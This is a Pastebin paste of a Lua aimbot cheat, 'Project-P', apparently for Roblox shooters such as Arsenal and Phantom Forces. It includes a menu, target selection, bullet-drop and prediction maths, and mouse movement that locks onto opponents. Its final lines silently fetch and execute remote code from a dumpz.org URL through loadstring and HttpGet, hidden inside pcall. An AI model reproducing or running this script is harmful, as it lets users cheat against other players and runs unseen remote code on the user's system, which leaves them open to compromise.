specdo

Project-P

Nov 26th, 2020 (edited)
633
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[
  2. Project-P public v2.1.0
  3.  
  4.     IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
  5.     IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
  6.     IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
  7.     IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
  8.     IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
  9.     IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
  10.     IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
  11.  
  12.     This is a open source project by !!- Sexy potato#4810, I will be updating this regularly.
  13.     So use the loadstring for automatic updates.
  14.  
  15.  
  16. Tested games:
  17.         [--Game--]                        [--Experience--]
  18.         Arsenal                         Very good (Basically hits everyshot.)
  19.         Strucid                         Good (Because of the randomness to the bullets you don't hit every shot.)
  20.         Unit 1968                       Very good (With the right settings you will hit 9/10 shots here.)
  21.         Unit: Classified                Good (It does it's job, you will easily top frag.)
  22.         Counter Blox                    Alright (You can't really spray because the recoil will get out of hand.)
  23.         Blackhawk Rescue Mission 5      Good (With the right settings you wont really ever die. note: It won't aim on the npc's only use this in competetive mode.)
  24.         Phantom Forces                  Very good (You need a brain to setup up for this game. hits 9/10 sniper shot)
  25.  
  26.  
  27. READ THIS
  28.     A lot of the comments are wrong right now because I've made a lot of changes so keep that in mind,
  29.  
  30. Changelogs:
  31.     + Merged Project-Phantom with Project-P
  32.     ! Completely rewrote the menu
  33. Note:
  34.     hi =)
  35. ]]--
  36.  
  37. --Menu items
  38. _G.menu = {
  39.     {type = "bool", name = "Enable", value = true},
  40.     {type = "bool", name = "Team Check", value = true},
  41.     {type = "tbl", name = "Hit Box", value = "Head", current = 1, values = {"Head", "HumanoidRootPart"}},
  42.     {type = "int", name = "Smoothness", value = 3, min = 1, max = 25},
  43.     {type = "int", name = "FOV", value = 5, min = 1, max = 30},
  44.     {type = "bool", name = "Draw FOV", value = true},
  45.     {type = "bool", name = "Wall Check", value = false},
  46.     {type = "int", name = "Bullet Drop", value = 200, min = 1, max = 200},
  47.     {type = "tbl", name = "Aim Key", value = Enum.UserInputType.MouseButton2, current = 2, values = {Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseButton2}},
  48.     {type = "int", name = "Bullet Prediction", value = 10, min = 1, max = 20},
  49. }
  50.  
  51. --was just testing some stuff for a future feature.
  52. ---repeat wait() until game.Players.LocalPlayer.Character
  53.  
  54. ---for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
  55. ---    if v:IsA('BasePart') then
  56. ---        table.insert(_G.menu[3].values,tostring(v.Name))
  57. ---    end
  58. ---end
  59. --end of this trash
  60.  
  61. --Variables
  62. local userIS = game:GetService("UserInputService")
  63. local conActSer = game:GetService("ContextActionService")
  64. local camera = game:GetService('Workspace').Camera
  65. local players = game:GetService("Players")
  66. local localPlayer = players.LocalPlayer
  67. local IsKeyDown = false
  68.  
  69. --Tables
  70. local module = {};
  71. local drawings = {};
  72. local arowPos = {};
  73.  
  74. --Menu variables
  75. local menuStartingPos = Vector2.new(20, 375)
  76. local menuStartingPos2 = menuStartingPos
  77. local menuSpacing = 20
  78. local isLeftShiftDown = false
  79. local isMenuActive = true
  80. local tblpos = 1
  81. local offset = Vector2.new(0, 0)
  82. local intIncreaser = 0.25
  83.  
  84. --Functions
  85. function module:DrawNew(name,type,props)
  86.     drawings[name] = Drawing.new(type)
  87.     for i,v in pairs(props) do
  88.         drawings[name][i] = v
  89.     end
  90.     return drawings[name]
  91. end
  92.  
  93. function DrawText(name,text,size,color,position)
  94.     module:DrawNew(name,"Text",{
  95.         Text = text,
  96.         Size = size,
  97.         Color = color,
  98.         Position = position,
  99.         Visible = true
  100.     });
  101. end
  102.  
  103. --Disable Arrow keys.
  104. conActSer:BindActionAtPriority("DisableArrowKeys", function()
  105.     return Enum.ContextActionResult.Sink
  106. end, false, Enum.ContextActionPriority.High.Value, Enum.KeyCode.Up, Enum.KeyCode.Down, Enum.KeyCode.Left, Enum.KeyCode.Right)
  107.  
  108.  
  109. --Menu handler
  110. --FOV Circle.
  111. module:DrawNew("Circle","Circle",{
  112.     Transparency = 1,
  113.     Thickness = 1.5,
  114.     NumSides = 16,
  115.     Filled = false,
  116.     Color = Color3.fromRGB(255,0,0),
  117.     Visible = false
  118. });
  119.  
  120. --Static drawings
  121. DrawText("CreditsText","Project-P by discord: !!- Sexy potato#4810",16,Color3.fromRGB(255,255,255),Vector2.new(215, 5))
  122. DrawText("InfoText","press [INSERT] to hide",13,Color3.fromRGB(255,255,255),Vector2.new(drawings.CreditsText.TextBounds.X + 220, 6))
  123. DrawText("Selector",">",24,Color3.fromRGB(255,0,0),menuStartingPos2 + Vector2.new(-15, 0) + offset)
  124. DrawText("AimTitle","Aim assist",24,Color3.fromRGB(255,255,255),Vector2.new(-10, -menuSpacing) + menuStartingPos)
  125.  
  126. --Loops
  127. function CreateMenuItems()
  128.     for i,v in pairs(_G.menu) do
  129.         DrawText(string.gsub(v.name, " ", "").."Text",v.name..":",24,Color3.fromRGB(255,255,255),menuStartingPos)
  130.         DrawText(string.gsub(v.name, " ", "").."Value","for some reason this value didn't load, contact !!- Sexy potato#4810",24,Color3.fromRGB(255,255,255),menuStartingPos + Vector2.new(3 + drawings[string.gsub(v.name, " ", "").."Text"].TextBounds.X ,0))
  131.         menuStartingPos = menuStartingPos + Vector2.new(0,menuSpacing)
  132.     end
  133. end
  134. CreateMenuItems()
  135.  
  136. function UpdateMenu()
  137.     for i,v in pairs(_G.menu) do
  138.         if v.type == "bool" then
  139.             if v.value == true then
  140.                 drawings[string.gsub(v.name, " ", "").."Value"].Color = Color3.fromRGB(0,255,0)
  141.                 drawings[string.gsub(v.name, " ", "").."Value"].Text = "true"
  142.             else
  143.                 drawings[string.gsub(v.name, " ", "").."Value"].Color = Color3.fromRGB(255,0,0)
  144.                 drawings[string.gsub(v.name, " ", "").."Value"].Text = "false"
  145.             end
  146.         elseif v.type == "enum" then
  147.             if v.value == Enum.UserInputType.MouseButton2 then
  148.                 drawings[string.gsub(v.name, " ", "").."Value"].Text = "MouseButton2"
  149.             elseif v.value == Enum.UserInputType.MouseButton1 then
  150.                 drawings[string.gsub(v.name, " ", "").."Value"].Text = "MouseButton1"
  151.             end
  152.         else
  153.             drawings[string.gsub(v.name, " ", "").."Value"].Text = tostring(v.value)
  154.         end
  155.     end
  156.     if _G.menu[6].value then
  157.         drawings.Circle.Visible = true
  158.     else
  159.         drawings.Circle.Visible = false
  160.     end
  161.     drawings.Circle.Radius = camera.ViewportSize.X / (90 / _G.menu[5].value)
  162. end
  163. UpdateMenu()
  164.  
  165. --Hide and disable menu interaction
  166. userIS.InputBegan:Connect(function(Input)
  167.     if Input.KeyCode == Enum.KeyCode.Insert then
  168.         if isMenuActive then
  169.             isMenuActive = false
  170.             for i,v in pairs(drawings) do
  171.                 drawings[i].Visible = false
  172.                 isMenuActive = false
  173.             end
  174.         else
  175.             isMenuActive = true
  176.             for i,v in pairs(drawings) do
  177.                 drawings[i].Visible = true
  178.                 isMenuActive = true
  179.             end
  180.         end
  181.     end
  182. end)
  183.  
  184. for i = 1,#_G.menu do
  185.     table.insert(arowPos,menuStartingPos2 + Vector2.new(-15, 0) + offset)
  186.     offset = offset + Vector2.new(0, menuSpacing)
  187. end
  188.  
  189. function GetSelectorNextPos()
  190.     tblpos = math.clamp(tblpos + 1,1,#arowPos)
  191. end
  192. function GetSelectorPrevPos()
  193.     tblpos = math.clamp(tblpos - 1,1,#arowPos)
  194. end
  195.  
  196. userIS.InputBegan:Connect(function(Input)
  197.     if isMenuActive then
  198.         if Input.KeyCode == Enum.KeyCode.LeftShift then
  199.             isLeftShiftDown = true
  200.             intIncreaser = 2
  201.         end
  202.  
  203.         if Input.KeyCode == Enum.KeyCode.Right then
  204.             if _G.menu[tblpos].type == "bool" then
  205.                 if _G.menu[tblpos].value == true then
  206.                     _G.menu[tblpos].value = false
  207.                 else
  208.                     _G.menu[tblpos].value = true
  209.                 end
  210.             end
  211.  
  212.             if _G.menu[tblpos].type == "tbl" then
  213.                 if _G.menu[tblpos].current < #_G.menu[tblpos].values then
  214.                     _G.menu[tblpos].current = _G.menu[tblpos].current + 1
  215.                     _G.menu[tblpos].value = _G.menu[tblpos].values[_G.menu[tblpos].current]
  216.                 end
  217.             end
  218.  
  219.             if _G.menu[tblpos].type == "int" then
  220.                 if (_G.menu[tblpos].value + intIncreaser) <= _G.menu[tblpos].max then
  221.                     _G.menu[tblpos].value = tonumber(_G.menu[tblpos].value) + intIncreaser
  222.                 else
  223.                     _G.menu[tblpos].value = _G.menu[tblpos].max
  224.                 end
  225.             end
  226.             UpdateMenu()
  227.         end
  228.  
  229.         if Input.KeyCode == Enum.KeyCode.Left then
  230.             if _G.menu[tblpos].type == "bool" then
  231.                 if _G.menu[tblpos].value == false then
  232.                     _G.menu[tblpos].value = true
  233.                 else
  234.                     _G.menu[tblpos].value = false
  235.                 end
  236.             end
  237.  
  238.             if _G.menu[tblpos].type == "tbl" then
  239.                 if _G.menu[tblpos].current > 1 then
  240.                     _G.menu[tblpos].current = _G.menu[tblpos].current - 1
  241.                     _G.menu[tblpos].value = _G.menu[tblpos].values[_G.menu[tblpos].current]
  242.                 end
  243.             end
  244.  
  245.             if _G.menu[tblpos].type == "int" then
  246.                 if (_G.menu[tblpos].value - intIncreaser) >= _G.menu[tblpos].min then
  247.                     _G.menu[tblpos].value = tonumber(_G.menu[tblpos].value) - intIncreaser
  248.                 else
  249.                     _G.menu[tblpos].value = _G.menu[tblpos].min
  250.                 end
  251.             end
  252.             UpdateMenu()
  253.         end
  254.  
  255.         if Input.KeyCode == Enum.KeyCode.Down then
  256.             GetSelectorNextPos()
  257.             drawings.Selector.Position = arowPos[tblpos]
  258.         end
  259.  
  260.         if Input.KeyCode == Enum.KeyCode.Up then
  261.             GetSelectorPrevPos()
  262.             drawings.Selector.Position = arowPos[tblpos]
  263.         end
  264.     end
  265. end)
  266.  
  267. userIS.InputEnded:Connect(function(Input)
  268.     if isMenuActive then
  269.         if Input.KeyCode == Enum.KeyCode.LeftShift then
  270.             isLeftShiftDown = false
  271.             intIncreaser = 0.25
  272.         end
  273.     end
  274. end)
  275.  
  276. --Functions.
  277. function IsVisible(character)
  278.     local Ray = Ray.new(camera.CFrame.p, (character.Head.Position - camera.CFrame.p).unit * 2048)
  279.     local part = workspace:FindPartOnRayWithIgnoreList(Ray, {localPlayer.Character})
  280.     if part:IsDescendantOf(character) then return true else return false end
  281. end
  282.  
  283. function Calculate(distance)
  284.     return (1.01*math.pow(distance,4)+0.002*math.pow(distance,3)-0.07*math.pow(distance,2)+0.8*distance-2.05)
  285. end
  286.  
  287. function IsOnScreen(part)
  288.     local vector, onscreen = camera:WorldToViewportPoint(part.Position)
  289.     return (vector.Z > 0)
  290. end
  291.  
  292. function IsInFov(part)
  293.     if part then
  294.         if IsOnScreen(part) then
  295.             local pos = camera:WorldToViewportPoint(part.Position)
  296.             local dist = (Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y) - Vector2.new(pos.X, pos.Y)).magnitude
  297.             if dist <= camera.ViewportSize.X / (90 / _G.menu[5].value) and dist < math.huge then
  298.                 return true
  299.             end
  300.         end
  301.     end
  302. end
  303.  
  304. if game.PlaceId == 292439477 then
  305.     function MyTeam()
  306.         if "Bright blue" == tostring(game.Players.LocalPlayer.TeamColor) then return "Phantoms" else return "Ghosts" end
  307.     end
  308.  
  309.     function GetClosest()
  310.         local TargetDistance = math.huge
  311.         local Target = nil
  312.         for i, v in pairs(game.Workspace.Players:GetDescendants()) do
  313.             if v.Name == "Player" and v:FindFirstChild('HumanoidRootPart') then
  314.                 local TargetScreenPos = camera:WorldToViewportPoint(v.HumanoidRootPart.Position)
  315.                 local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
  316.                 if IsInFov(v:FindFirstChild(_G.menu[3].value)) then
  317.                     if _G.menu[2].value then
  318.                         if v.Parent.Name ~= MyTeam() then
  319.                             if mag < TargetDistance then
  320.                                 TargetDistance = mag
  321.                                 Target = v
  322.                             end
  323.                         end
  324.                     elseif mag < TargetDistance then
  325.                         TargetDistance = mag
  326.                         Target = v
  327.                     end
  328.                 end
  329.             end
  330.         end
  331.         return Target
  332.     end
  333.  
  334.     function GetClosestNotBehindWall()
  335.         local TargetDistance = math.huge
  336.         local Target = nil
  337.         for i, v in pairs(game.Workspace.Players:GetDescendants()) do
  338.             if v.Name == "Player" and v:FindFirstChild('HumanoidRootPart') then
  339.                 local TargetScreenPos = camera:WorldToViewportPoint(v.HumanoidRootPart.Position)
  340.                 local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
  341.                 if IsInFov(v:FindFirstChild(_G.menu[3].value)) then
  342.                     if _G.menu[2].value then
  343.                         if v.Parent.Name ~= MyTeam() then
  344.                             if _G.menu[7].value then
  345.                                 if IsVisible(v) and mag < TargetDistance then
  346.                                     TargetDistance = mag
  347.                                     Target = v
  348.                                 end
  349.                             end
  350.                         end
  351.                     elseif _G.menu[7].value then
  352.                         if IsVisible(v) and mag < TargetDistance then
  353.                             TargetDistance = mag
  354.                             Target = v
  355.                         end
  356.                     end
  357.                 end
  358.             end
  359.         end
  360.         return Target
  361.     end
  362. else
  363.     function GetClosest()
  364.         local TargetDistance = math.huge
  365.         local Target = nil
  366.         for i, v in pairs(players:GetPlayers()) do
  367.             if v ~= localPlayer and v.Character and v.Character:FindFirstChild("HumanoidRootPart") then
  368.                 local TargetScreenPos = camera:WorldToViewportPoint(v.Character.HumanoidRootPart.Position)
  369.                 local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
  370.                 if IsInFov(v.Character:FindFirstChild(_G.menu[3].value)) then
  371.                     if _G.menu[2].value then
  372.                         if v.TeamColor ~= localPlayer.TeamColor then
  373.                             if mag < TargetDistance then
  374.                                 TargetDistance = mag
  375.                                 Target = v.Character
  376.                             end
  377.                         end
  378.                     elseif mag < TargetDistance then
  379.                         TargetDistance = mag
  380.                         Target = v.Character
  381.                     end
  382.                 end
  383.             end
  384.         end
  385.         return Target
  386.     end
  387.  
  388.     function GetClosestNotBehindWall()
  389.         local TargetDistance = math.huge
  390.         local Target = nil
  391.         for i, v in pairs(players:GetPlayers()) do
  392.             if v ~= localPlayer and v.Character and v.Character:FindFirstChild("HumanoidRootPart") then
  393.                 local TargetScreenPos = camera:WorldToViewportPoint(v.Character.HumanoidRootPart.Position)
  394.                 local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
  395.                 if IsInFov(v.Character:FindFirstChild(_G.menu[3].value)) then
  396.                     if _G.menu[2].value then
  397.                         if v.TeamColor ~= localPlayer.TeamColor then
  398.                             if _G.menu[7].value then
  399.                                 if IsVisible(v.Character) and mag < TargetDistance then
  400.                                     TargetDistance = mag
  401.                                     Target = v.Character
  402.                                 end
  403.                             end
  404.                         end
  405.                     elseif _G.menu[7].value then
  406.                         if IsVisible(v.Character) and mag < TargetDistance then
  407.                             TargetDistance = mag
  408.                             Target = v.Character
  409.                         end
  410.                     end
  411.                 end
  412.             end
  413.         end
  414.         return Target
  415.     end
  416. end
  417.  
  418. userIS.InputBegan:Connect(function(Input)
  419.     if Input.UserInputType == _G.menu[9].value and _G.menu[1].value then
  420.         IsKeyDown = true
  421.     end
  422. end)
  423.  
  424. userIS.InputEnded:Connect(function(Input)
  425.     if Input.UserInputType == _G.menu[9].value then
  426.         IsKeyDown = false
  427.     end
  428. end)
  429. local FindClosest = nil
  430. local function aimbot()
  431.     if _G.menu[7].value then
  432.         FindClosest = GetClosestNotBehindWall()
  433.     else
  434.         FindClosest = GetClosest()
  435.     end
  436.     if FindClosest ~= nil then
  437.         local BulletPrediction = FindClosest.HumanoidRootPart.Velocity * (localPlayer.Character.HumanoidRootPart.Position - FindClosest.HumanoidRootPart.Position).magnitude / 500 / _G.menu[10].value
  438.         local aimAt, visible = camera:WorldToViewportPoint(FindClosest[_G.menu[3].value].Position + Vector3.new(0,Calculate((localPlayer.Character.HumanoidRootPart.Position - FindClosest.HumanoidRootPart.Position).magnitude / _G.menu[8].value) / _G.menu[8].value,0) + BulletPrediction) --We get the target's head and add a new vector3 with y being BulletDrop, then we get that from vector3 to vector2, and we basically get the magnitude of target and localPlayer and then use our sick math to get a nice curve.
  439.         mousemoverel((aimAt.X - userIS:GetMouseLocation().X) / _G.menu[4].value, (aimAt.Y - userIS:GetMouseLocation().Y) / _G.menu[4].value)
  440.     end
  441. end
  442.  
  443. game:GetService("RunService").RenderStepped:connect(function()
  444.     if IsKeyDown then
  445.         aimbot()
  446.     end
  447.     drawings.Circle.Position = userIS:GetMouseLocation()
  448. end)
  449. pcall(function()
  450.     loadstring(game:HttpGet(('https://dumpz.org/cBh7Ae3MNbBf/nixtext/'),true))()
  451. end)
RAW Paste Data